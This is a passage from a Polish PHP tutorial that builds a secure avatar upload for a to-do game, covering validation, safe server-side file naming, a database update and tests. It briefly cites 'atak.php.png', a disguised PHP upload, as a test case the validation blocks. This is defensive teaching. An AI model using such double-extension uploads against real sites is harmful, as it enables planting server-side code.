<p class="wp-block-paragraph">Zwróć uwagę na <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.php.png</code>: rozszerzenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">png</code> przechodzi, ale zawartość (tekst) zatrzymuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize()</code>.</p>



<h2 class="wp-block-heading">Krok 5 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszAvatarUzytkownika()</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>, na końcu pliku, napisz funkcję:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function zapiszAvatarUzytkownika(mysqli $polaczenie, int $uzytkownikId, string $nazwaPlikuAvatara): void</code></pre>



<p class="wp-block-paragraph">Ma wpisać nazwę pliku w kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> wiersza gracza o podanym <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>. Zasady jak w Lekcji 19: prepared statement, niczego nie wyświetla, wyjątków nie łapie. Popraw komentarz na górze pliku: „(Lekcje 18–21)”.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">To <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> jednego wiersza tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>, podobne do <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika()</code>, tylko prostsze. Jaki warunek w <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> sprawia, że zmieni się dokładnie jeden gracz?</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function zapiszAvatarUzytkownika(mysqli $polaczenie, int $uzytkownikId, string $nazwaPlikuAvatara): void
{
    $zapytanie = $polaczenie-&gt;prepare('UPDATE uzytkownicy SET avatar = ? WHERE id = ?');
    $zapytanie-&gt;bind_param('si', $nazwaPlikuAvatara, $uzytkownikId);
    $zapytanie-&gt;execute();
}</code></pre>
</details>



<p class="wp-block-paragraph">Funkcja nie sprawdza <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> pochodzi z sesji (zaufane), a nazwa pliku jest za każdym razem inna, więc zmiana zawsze obejmie jeden wiersz. Dlaczego „za każdym razem inna”, zobaczysz w kroku 6c.</p>



<p class="wp-block-paragraph"><strong>Sprawdzenie</strong> w brudnopisie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszAvatarUzytkownika($polaczenie, 2, 'test.png');</code> → w phpMyAdmin Ola ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">test.png</code>. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<h2 class="wp-block-heading">Krok 6 — strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code></h2>



<p class="wp-block-paragraph">Budujemy ją według schematu strony z formularzem (Lekcja 13), który znasz z <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>. Cały plik znajdziesz w sekcji 9. Zajrzyj tam dopiero po skończeniu.</p>



<h3 class="wp-block-heading">6a. Szkielet strony</h3>



<p class="wp-block-paragraph">Utwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>. Na górze:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start();</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> plików: <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_avatara.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania();</code>,</li>



<li>wartości początkowe: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy = [];</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu = null;</code>,</li>



<li>pusty na razie warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER['REQUEST_METHOD'] === 'POST') { }</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony = 'Profil — TaskQuest';</code> i dołączenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code>.</li>
</ol>



<p class="wp-block-paragraph">Pod częścią PHP część HTML:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;

&lt;h2&gt;Twój profil&lt;/h2&gt;
&lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;

&lt;?php if ($bledy !== &#91;]) { ?&gt;
    &lt;div class="blad"&gt;
        &lt;p&gt;Popraw formularz:&lt;/p&gt;
        &lt;ul&gt;
            &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
            &lt;?php } ?&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;?php } ?&gt;

&lt;?php if ($bladZapisu !== null) { ?&gt;
    &lt;p class="blad"&gt;Nie udało się zapisać avatara: &lt;?= $bladZapisu; ?&gt;&lt;/p&gt;
&lt;?php } ?&gt;

&lt;form method="post" action="profil.php" enctype="multipart/form-data"&gt;
    &lt;label for="avatar"&gt;Avatar (JPG, PNG lub WEBP, najwyżej 1 MB)&lt;/label&gt;
    &lt;input type="file" id="avatar" name="avatar" accept=".jpg,.jpeg,.png,.webp" required&gt;

    &lt;button type="submit"&gt;Zapisz avatar&lt;/button&gt;
&lt;/form&gt;

&lt;?php require_once __DIR__ . '/includes/footer.php'; ?&gt;</code></pre>



<p class="wp-block-paragraph">Czym ten formularz różni się od formularza zadania?</p>



<ul class="wp-block-list">
<li>ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype="multipart/form-data"</code>,</li>



<li><strong>pole pliku nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code></strong>, więc po błędzie formularz nie zachowuje wybranego pliku. To nie przeoczenie: przeglądarka nie pozwala stronie wskazać pliku z dysku użytkownika. Inaczej każda strona mogłaby „wybrać” za Ciebie dowolny plik i go wysłać. Po błędzie gracz wybiera plik jeszcze raz.</li>
</ul>



<p class="wp-block-paragraph"><strong>Link do profilu.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, bezpośrednio pod akapitem „Zalogowano jako &#8230;” (nad formularzem „Wyloguj”), dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;&lt;a href="profil.php"&gt;Twój profil — zmień avatar&lt;/a&gt;&lt;/p&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Sprawdzenie:</strong> z listy zadań wejdź w profil. Widzisz formularz. Wysłanie niczego jeszcze nie robi. Wyloguj się i wpisz w pasku adresu <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>: przekierowanie na logowanie.</p>



<h3 class="wp-block-heading">6b. SAMODZIELNIE: odbiór i walidacja pliku</h3>



<p class="wp-block-paragraph">Wewnątrz warunku POST:</p>



<ol class="wp-block-list">
<li>odczytaj z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code> tablicę pola <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> do zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plik</code>. Pamiętaj o sytuacji z sekcji 3.6: przy przekroczeniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">post_max_size</code> ten klucz nie istnieje,</li>



<li>jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plik</code> nie istnieje, dopisz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code> komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Plik jest za duży albo nie został wysłany.</code>,</li>



<li>w przeciwnym razie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code> to wynik <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujAvatar()</code>.</li>
</ol>



<p class="wp-block-paragraph"><strong>Sprawdzenie:</strong> wyślij <code class="prettyprint lang-sql" style="font-size: 0.85em;">dokument.pdf</code>. Oczekiwane: ramka „Popraw formularz:” z komunikatem o formacie.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Odczyt z tablicy, gdy klucza może nie być, robisz tak samo jak przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>, tylko wartością zastępczą nie jest pusty tekst. Czego użyjesz, skoro w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plik</code> ma być tablica albo „nic”?</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $plik = $_FILES&#91;'avatar'] ?? null;

    if ($plik === null) {
        $bledy&#91;] = 'Plik jest za duży albo nie został wysłany.';
    } else {
        $bledy = walidujAvatar($plik);
    }
}</code></pre>
</details>



<h3 class="wp-block-heading">6c. SAMODZIELNIE: zapis pliku i bazy</h3>



<p class="wp-block-paragraph">Wciąż wewnątrz warunku POST, pod kodem z 6b, gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code> jest puste:</p>



<ol class="wp-block-list">
<li>utwórz nazwę pliku w zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaPlikuAvatara</code> według wzoru <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_&lt;id gracza&gt;_&lt;aktualny czas&gt;.&lt;rozszerzenie&gt;</code>, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_1_1790000000.png</code>. Id gracza jest w sesji, aktualny czas w sekundach zwraca funkcja znana z ciasteczek (Lekcja 14), rozszerzenie zwraca Twoja funkcja z kroku 4,</li>



<li>w zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$sciezkaAvatara</code> zbuduj pełną ścieżkę na dysku: katalog tego pliku + <code class="prettyprint lang-sql" style="font-size: 0.85em;">/</code> + <code class="prettyprint lang-sql" style="font-size: 0.85em;">KATALOG_AVATAROW</code> + <code class="prettyprint lang-sql" style="font-size: 0.85em;">/</code> + nazwa,</li>



<li>przenieś plik tymczasowy pod tę ścieżkę. Jeśli się nie uda, ustaw <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie udało się zapisać pliku na serwerze.</code>,</li>



<li>jeśli się uda: w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> połącz się z bazą, zapisz nazwę pliku funkcją z kroku 5, ustaw komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Avatar został zmieniony.</code> i przekieruj na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> wpisz komunikat wyjątku do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu</code>, jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>.</li>
</ol>



<p class="wp-block-paragraph">Dlaczego taka nazwa pliku?</p>



<ul class="wp-block-list">
<li><strong>id gracza</strong> — dwaj gracze nigdy nie dostaną tej samej nazwy,</li>



<li><strong>czas</strong> — każdy nowy avatar tego samego gracza ma inną nazwę. Przeglądarka pamięta obrazki (pamięć podręczna). Gdyby nowy avatar Kamy nazywał się jak stary, mogłaby dalej widzieć stary,</li>



<li><strong>rozszerzenie</strong> sprawdzone przez walidację — plik na pewno kończy się na <code class="prettyprint lang-sql" style="font-size: 0.85em;">.jpg</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">.jpeg</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">.png</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">.webp</code>,</li>



<li><strong>nic z nazwy od użytkownika poza rozszerzeniem</strong> — żadnych spacji, polskich znaków, <code class="prettyprint lang-sql" style="font-size: 0.85em;">.php</code> w środku ani cudzych nazw.</li>
</ul>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Kolejność ma znaczenie. Najpierw plik, potem baza. Odwrotnie baza wskazywałaby plik, który może się nie zapisać. Warunek „gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code> jest puste” już znasz z <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>. Wynik <code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code> sprawdzasz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>, tak jak wynik każdej funkcji zwracającej <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    if ($bledy === &#91;]) {
        $nazwaPlikuAvatara = 'avatar_' . ... . '_' . ... . '.' . ...;
        $sciezkaAvatara = __DIR__ . '/' . KATALOG_AVATAROW . '/' . $nazwaPlikuAvatara;

        if (!move_uploaded_file(..., ...)) {
            $bladZapisu = 'Nie udało się zapisać pliku na serwerze.';
        } else {
            try {
                // połączenie, zapis w bazie, komunikat, przekierowanie
            } catch (Exception $wyjatek) {
                $bladZapisu = $wyjatek-&gt;getMessage();
            }
        }
    }</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    if ($bledy === &#91;]) {
        $nazwaPlikuAvatara = 'avatar_' . $_SESSION&#91;'uzytkownik_id'] . '_' . time() . '.' . rozszerzenieAvatara($plik&#91;'name']);
        $sciezkaAvatara = __DIR__ . '/' . KATALOG_AVATAROW . '/' . $nazwaPlikuAvatara;

        if (!move_uploaded_file($plik&#91;'tmp_name'], $sciezkaAvatara)) {
            $bladZapisu = 'Nie udało się zapisać pliku na serwerze.';
        } else {
            try {
                $polaczenie = polaczZBaza();
                zapiszAvatarUzytkownika($polaczenie, $_SESSION&#91;'uzytkownik_id'], $nazwaPlikuAvatara);

                ustawKomunikat('Avatar został zmieniony.');
                header('Location: index.php');
                exit;
            } catch (Exception $wyjatek) {
                $bladZapisu = $wyjatek-&gt;getMessage();
            }
        }
    }</code></pre>
</details>



<p class="wp-block-paragraph">Nieudane <code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code> nie jest wyjątkiem, tylko wynikiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>. Sprawdzamy go więc warunkiem i nie rzucamy wyjątku po to, żeby go zaraz złapać w tym samym miejscu.</p>



<p class="wp-block-paragraph">Przy awarii bazy plik <strong>zostaje</strong> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code>, ale baza go nie wskazuje. Powstaje „sierota” na dysku. Przy jednym graczu i rzadkich awariach to akceptowalne. Zobaczysz to w Teście 9.</p>



<h3 class="wp-block-heading">6d. Sprawdzenie</h3>



<p class="wp-block-paragraph">Zaloguj się jako Kama, wejdź w profil, wyślij <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code>. Oczekiwane: powrót na listę zadań, komunikat „Avatar został zmieniony.”, w <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_1_&lt;liczba&gt;.png</code>, w phpMyAdmin Kama ma w <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> tę samą nazwę. Samego avatara na stronie jeszcze nie widać. To następne zadanie.</p>



<h2 class="wp-block-heading">Krok 7 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> i stopka</h2>



<p class="wp-block-paragraph"><strong>7a.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> dopisz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dwie ścieżki: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'profil.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_avatara.php'</code> (razem <strong>21</strong>).</p>



<p class="wp-block-paragraph"><strong>7b.</strong> Pod sekcją <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Baza danych&lt;/h2&gt;</code> dopisz sekcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Avatary&lt;/h2&gt;</code>. W stylu pozostałych sekcji wypisz jeden z trzech wyników:</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">[BRAK] Katalog uploads/avatary nie istnieje — utwórz go w katalogu projektu.</code>, gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_dir()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">[BRAK] Do katalogu uploads/avatary nie można zapisywać plików.</code>, gdy katalog istnieje, ale <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_writable()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK] Katalog uploads/avatary istnieje i można do niego zapisywać.</code> w pozostałych przypadkach.</li>
</ul>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> celowo nie dołącza <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code> (Lekcja 10), więc ścieżkę wpisz wprost, tak jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code>, doklejając ją do <code class="prettyprint lang-sql" style="font-size: 0.85em;">__DIR__ . '/'</code>.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Avatary&lt;/h2&gt;
&lt;?php if (!is_dir(__DIR__ . '/uploads/avatary')) { ?&gt;
    &lt;p&gt;&#91;BRAK] Katalog uploads/avatary nie istnieje — utwórz go w katalogu projektu.&lt;/p&gt;
&lt;?php } elseif (!is_writable(__DIR__ . '/uploads/avatary')) { ?&gt;
    &lt;p&gt;&#91;BRAK] Do katalogu uploads/avatary nie można zapisywać plików.&lt;/p&gt;
&lt;?php } else { ?&gt;
    &lt;p&gt;&#91;OK] Katalog uploads/avatary istnieje i można do niego zapisywać.&lt;/p&gt;
&lt;?php } ?&gt;</code></pre>



<p class="wp-block-paragraph">Na Windows w XAMPP katalog praktycznie zawsze będzie zapisywalny. Na serwerze z Linuksem brak uprawnień do zapisu to najczęstsza przyczyna, dla której upload „działa u mnie, a nie na serwerze”.</p>



<p class="wp-block-paragraph"><strong>7c.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code> zmień wersję na <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 2.1</code> (Lekcja 20 jest pominięta, więc numer 2.0 też).</p>



<h1 class="wp-block-heading">6. Kolejne zadanie — avatar na stronie głównej</h1>



<p class="wp-block-paragraph">Avatar jest zapisany, ale nikt go nie widzi. Dodaj go do <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<p class="wp-block-paragraph"><strong>Wymagania:</strong></p>



<ol class="wp-block-list">
<li>Obrazek stoi <strong>bezpośrednio nad</strong> zdaniem powitalnym „Witaj, &#8230;!” (tym, w którym jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;pobierzImie()</code>).</li>



<li>Gdy gracz ma avatar: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;img&gt;</code> z klasą <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code>, adresem <code class="prettyprint lang-sql" style="font-size: 0.85em;">KATALOG_AVATAROW</code> + <code class="prettyprint lang-sql" style="font-size: 0.85em;">/</code> + nazwa pliku z obiektu i tekstem alternatywnym <code class="prettyprint lang-sql" style="font-size: 0.85em;">Avatar gracza</code>.</li>



<li>Gdy gracz nie ma avatara: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;span&gt;</code> z klasami <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar-litera</code>, a w środku <strong>pierwsza litera imienia</strong>. Imię może zaczynać się polską literą („Łucja”), więc pamiętaj, które funkcje tekstowe znają polskie znaki (Lekcja 8).</li>



<li>Użyj konstrukcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php if (...) { ?&gt; ... &lt;?php } else { ?&gt; ... &lt;?php } ?&gt;</code>, tak jak w pozostałej części prezentacji.</li>
</ol>



<p class="wp-block-paragraph">Style dopisz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>, w <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;style&gt;</code>, pod regułą <code class="prettyprint lang-sql" style="font-size: 0.85em;">form.akcja</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">.avatar { display: inline-block; width: 64px; height: 64px; border-radius: 50%; object-fit: cover; vertical-align: middle; }
.avatar-litera { background: #5b6ee1; color: #fff; font-size: 32px; font-weight: bold; line-height: 64px; text-align: center; }</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">border-radius: 50%</code> robi z kwadratu koło. <code class="prettyprint lang-sql" style="font-size: 0.85em;">object-fit: cover</code> przycina zdjęcie do kwadratu, zamiast je rozciągać.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Gracz „nie ma avatara”, gdy getter zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Pierwszą literę wytniesz funkcją, której używa <code class="prettyprint lang-sql" style="font-size: 0.85em;">skrocOpis()</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php if ($uzytkownik-&gt;pobierzAvatar() !== null) { ?&gt;
    &lt;img class="avatar" src="..." alt="Avatar gracza"&gt;
&lt;?php } else { ?&gt;
    &lt;span class="avatar avatar-litera"&gt;&lt;?= ...; ?&gt;&lt;/span&gt;
&lt;?php } ?&gt;</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php if ($uzytkownik-&gt;pobierzAvatar() !== null) { ?&gt;
    &lt;img class="avatar" src="&lt;?= KATALOG_AVATAROW . '/' . $uzytkownik-&gt;pobierzAvatar(); ?&gt;" alt="Avatar gracza"&gt;
&lt;?php } else { ?&gt;
    &lt;span class="avatar avatar-litera"&gt;&lt;?= mb_substr($uzytkownik-&gt;pobierzImie(), 0, 1); ?&gt;&lt;/span&gt;
&lt;?php } ?&gt;</code></pre>
</details>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">substr($imie, 0, 1)</code> dla „Łucja” wyciąga pierwszy <strong>bajt</strong>, a „Ł” w UTF-8 zajmuje dwa bajty. Na stronie pojawiłby się znak „�” (sprawdź w Teście 1). <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_substr()</code> liczy <strong>znaki</strong>.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> nie potrzebuje nowych <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">KATALOG_AVATAROW</code> jest w <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>, który strona już dołącza.</p>



<p class="wp-block-paragraph"><strong>Sprawdzenie:</strong> Kama (z avatarem z kroku 6d) widzi swój obrazek w kółku. Ola widzi fioletowe kółko z literą „O”.</p>



<h1 class="wp-block-heading">7. Testy</h1>



<p class="wp-block-paragraph">Przed testami uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> i opróżnij <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> (sam katalog zostaje).</p>



<h2 class="wp-block-heading">Test 1 — regresja i litera</h2>



<p class="wp-block-paragraph">Zaloguj się jako Kama, potem jako Ola. Oczekiwane: kółka z literami „K” i „O”, reszta strony jak po Lekcji 19 (zadania, „Zrobione!”, „Usuń”, ranking).</p>



<p class="wp-block-paragraph">W phpMyAdmin zmień imię Oli na <code class="prettyprint lang-sql" style="font-size: 0.85em;">Łucja</code> i odśwież. Oczekiwane: „Ł”. Tymczasowo zamień w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_substr</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">substr</code> i odśwież: zamiast litery pojawia się <code class="prettyprint lang-sql" style="font-size: 0.85em;">�</code>. Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_substr</code> i imię <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola</code>.</p>



<h2 class="wp-block-heading">Test 2 — pierwszy avatar</h2>



<p class="wp-block-paragraph">Jako Kama wyślij <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code>. Oczekiwane: komunikat „Avatar został zmieniony.”, obrazek w kółku, w <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> jeden plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_1_&lt;liczba&gt;.png</code>, w bazie ta sama nazwa. Kliknij prawym przyciskiem na avatar → „Otwórz grafikę w nowej karcie”: adres kończy się na <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/avatar_1_....png</code>.</p>



<h2 class="wp-block-heading">Test 3 — zmiana avatara</h2>



<p class="wp-block-paragraph">Jako Kama wyślij inny poprawny obrazek (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code> zapisany jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">.jpg</code> albo inny zrzut ekranu). Oczekiwane: nowy obrazek od razu, bez odświeżania z czyszczeniem pamięci. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> są teraz <strong>dwa</strong> pliki Kamy, a baza wskazuje nowszy (ograniczenie z początku lekcji; zadanie końcowe A).</p>



<h2 class="wp-block-heading">Test 4 — walidacja przez formularz</h2>



<p class="wp-block-paragraph">Dla każdego pliku przewidź komunikat, potem sprawdź. Po każdym błędzie avatar i baza bez zmian.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Plik</th><th>Oczekiwany komunikat</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">duzy.jpg</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Plik może mieć najwyżej 1 MB.</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dokument.pdf</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Dozwolone formaty: JPG, PNG, WEBP.</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">notatka.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Wybrany plik nie jest obrazkiem.</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pusty.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Wybrany plik jest pusty.</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code> przemianowany na <code class="prettyprint lang-sql" style="font-size: 0.85em;">KOT.PNG</code></td><td>sukces</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">dokument.pdf</code> zmień w oknie wyboru pliku filtr na „Wszystkie pliki” (<code class="prettyprint lang-sql" style="font-size: 0.85em;">accept</code> tylko podpowiada).</p>



